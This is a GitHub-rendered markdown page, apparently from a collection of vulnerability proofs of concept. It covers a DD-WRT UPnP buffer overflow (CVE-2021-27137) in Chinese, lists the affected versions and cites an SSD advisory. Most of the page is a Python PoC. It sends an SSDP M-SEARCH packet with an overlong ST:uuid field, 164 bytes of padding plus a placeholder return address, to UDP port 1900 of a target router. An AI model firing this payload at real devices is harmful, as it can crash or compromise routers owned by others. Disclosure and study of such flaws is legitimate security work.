Skip to content

Latest commit

 

History

History
34 lines (23 loc) · 768 Bytes

DD-WRT 缓冲区溢出漏洞（CVE-2021-27137）.md

File metadata and controls

34 lines (23 loc) · 768 Bytes
Raw

DD-WRT 缓冲区溢出漏洞（CVE-2021-27137）

DD-WRT是基于Linux的固件，用于无线路由器和接入点。最初是为Linksys WRT54G系列设计的，现在可在多种型号上运行。

影响版本：

DD-WRT 45723 或更低版本

PoC：

import socket

target_ip = "192.168.15.124" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 

payload = off + ret_addr

packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:239.255.255.250:1900\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \
    '\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet.encode(), (target_ip, 1900) )

ref：

https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/